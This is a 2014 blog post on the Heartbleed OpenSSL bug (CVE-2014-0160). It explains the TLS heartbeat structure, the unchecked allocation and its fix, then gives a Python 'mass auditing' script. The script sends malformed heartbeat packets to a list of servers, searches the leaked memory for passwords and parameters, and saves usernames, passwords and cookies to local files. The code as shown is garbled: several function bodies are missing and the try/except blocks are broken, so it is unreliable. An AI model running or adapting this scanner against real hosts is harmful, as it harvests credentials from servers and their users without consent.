View RSS Feed

Fb1h2s aka Rahul Sasi's Blog

CVE-2014-0160 Heartbleed Attack POC and Mass Scanner .

Rating: 27 votes, 5.00 average.
TLS Heart Bleed Attack.

This is one of the most scary bugs I have seen in the last few years. A lot of discussion is going on and there are quite a number of blogs regarding this. But I couldn't find anything that explicitly talks about the vulnerability and exploitation methods. Also many organizations have multiple https servers using openssl. So I have created this mas auditing tool that could scan them all in one click.


Name:  Screen Shot 2014-04-09 at 5.04.49 am.jpg
Views: 14490
Size:  19.9 KB

TLS HearBeat Extension.

The vulnerability lies in the implementation of TLS Heartbeat extension. There is common necessity
in an established ssl session to maintain the connection for a longer time. The HeartBeat protocol extension is added to TLS for this reason. The HTTP keep-alive feature does the same but HB protocol allows a client to perform this action in much higher rate.

The client can send a Heart-Beat request message and the server has to respond back with a HearBeat response .

So in short the Heartbeat Protocol is simple and has a request and response module.


The following is the structure of a HB protocol.

The following is heartbeat protocol .

 struct {
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   } HeartbeatMessage;
Here the Message Type is 1 byte, payload_length is 2 byte and necessary padding based on payload .

So the entire heartbeat protocol is an addon for openssl . This following is the structure for a TLS packet with HB addon.

const unsigned char good_data_2[] = {
    // TLS record
    0x16, // Content Type: Handshake
    0x03, 0x01, // Version: TLS 1.0
    0x00, 0x6c, // Length (use for bounds checking)
        // Handshake
        0x01, // Handshake Type: Client Hello
        0x00, 0x00, 0x68, // Length (use for bounds checking)
        0x03, 0x03, // Version: TLS 1.2
        // Random (32 bytes fixed length)
        0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5,
        0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02,
        0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78,
        0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1,
        0x00, // Session ID Length (skip past this much)
        0x00, 0x04, // Cipher Suites Length (skip past this much)
            0x00, 0x01, // NULL-MD5
            0x00, 0xff, // RENEGOTIATION INFO SCSV
        0x01, // Compression Methods Length (skip past this much)
            0x00, // NULL
        0x00, 0x3b, // Extensions Length (use for bounds checking)
            // Extension
            0x00, 0x00, // Extension Type: Server Name (check extension type)
            0x00, 0x0e, // Length (use for bounds checking)
            0x00, 0x0c, // Server Name Indication Length
                0x00, // Server Name Type: host_name (check server name type)
                0x00, 0x09, // Length (length of your data)
                // "localhost" (data your after)
                0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74,
            // Extension
            0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type)
            0x00, 0x20, // Length (skip past since this is the wrong extension)
            // Data
            0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03,
            0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01,
            0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02,
            0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03,
            // Extension
            0x00, 0x0f, // Extension Type: Heart Beat (check extension type)
            0x00, 0x01, // Length (skip past since this is the wrong extension)
            0x01 // Mode: Peer allows to send requests

The bugg code was an insecure malloc

buffer = OPENSSL_malloc(1 + 2 + payload + padding);
In the above code memory is allocated from the payload + padding which is a user controlled value. There was no length check for this particular allocation and an attacker could force the Openssl server to read arbitrary memory locations.

The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc. Even though openssllib has loaded the server secret keys somewhere in memory it very unlikely to access that using this bug due the the heap allocations.

Constant HB request could be made to the server leaking (random memory) any amount of data from the server .

The fix to this bug was to simply bound check the payload + padding length to not exceed 16 bytes .

unsigned int write_length = 1 /* heartbeat type */ +
 +					    2 /* heartbeat length */ +
 +					    payload + padding;

As well as to not allow the HB length to exceed the max length.
unsigned int write_length = 1 /* heartbeat type */ +
 +					    2 /* heartbeat length */ +
 +					    payload + padding;
 +		if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
 +			return 0;


I have created a Mass Auditing tool. So that you can give in a huge range of targets as a list and the tool would find important informations for you. Give it a list of targets and it would detect the vulnerability and list out if any username password is found.

import socket, ssl, pprint
import Queue
import threading,time,sys,select,struct,urllib,time,re,os


    16 03 02 00 31 # TLS Header
    01 00 00 2d # Handshake header
    03 02 # ClientHello field: version number (TLS 1.1)
    50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 \
    33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96 # ClientHello field: random
    00 # ClientHello field: session id
    00 04 # ClientHello field: cipher suite length
    00 33 c0 11 # ClientHello field: cipher suite(s)
    01 # ClientHello field: compression support, length
    00 # ClientHello field: compression support, no compression (0)
    00 00 # ClientHello field: extension length (0)


hello_packet = "16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex')
hb_packet = "1803020003014000".decode('hex')

def password_parse(the_response):
    the_response_nl= the_response.split(' ')
    #Interesting Paramaters found:
    for each_item in the_response_nl:
        if "=" in each_item or "password" in each_item:
            print each_item

def recv_timeout(the_socket,timeout=2):
    #make socket non blocking

    #total data partwise in an array

    #beginning time
    while 1:
        if total_data and time.time()-begin > timeout:

        elif time.time()-begin > timeout*2:

            data = the_socket.recv(8192)
            if data:
                #change the beginning time for measurement
                #sleep for sometime to indicate a gap

    return ''.join(total_data)

def tls(target_addr):


        server_port =443
        target_addr = target_addr.strip()

        if ":" in target_addr:
            server_port = target_addr.split(":")[1]
            target_addr = target_addr.split(":")[0]

        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print >>sys.stderr, '\n[+]Scanning  server %s' % target_addr , "\n"
        print "##############################################################"
        client_socket .connect((target_addr, int(server_port)))
        #'Sending Hello request...'
        print 'Sending heartbeat request...'
        data = recv_timeout(client_socket,3)
        if len(data) > 7 :
            print "[-] ",target_addr,' Vulnerable Server ...\n'
            #print data
            if os.path.exists(target_addr+".txt"):
                file_write = open(target_addr+".txt", 'a+')
                file_write = file(target_addr+".txt", "w")
        else :
            print "[-] ",target_addr,' Not Vulnerable  ...'
    except Exception as e:
        print e,target_addr,server_port

class BinaryGrab(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, queue):
        self.queue = queue

    def run(self):
        while True:
            url = self.queue.get()
            #Scan targets here

            #signals to queue job is done

start = time.time()

def manyurls(server_addr):
    querange = len(server_addr)
    queue = Queue.Queue()

    #spawn a pool of threads, and pass them queue instance
    for i in range(int(querange)):
        t = BinaryGrab(queue)

    #populate queue with data
    for target in server_addr:


    #wait on the queue until everything has been processed
if __name__ == "__main__":
    # Kepp all ur targets in scan.txt in the same folder.
    server_addr = []
    read_f = open("scan.txt", "r")
    server_addr = read_f.readlines()
    #or provide names here
    #server_addr = ['']

Leaked UserName password Cookie files would be stored in the local folder with target name.

Name:  Screen Shot 2014-04-09 at 5.08.06 am.jpg
Views: 13977
Size:  15.7 KB


Name:  heartbleed.png
Views: 14035
Size:  7.1 KB
Tags: None Add / Edit Tags



Total Trackbacks 0
Trackback URL: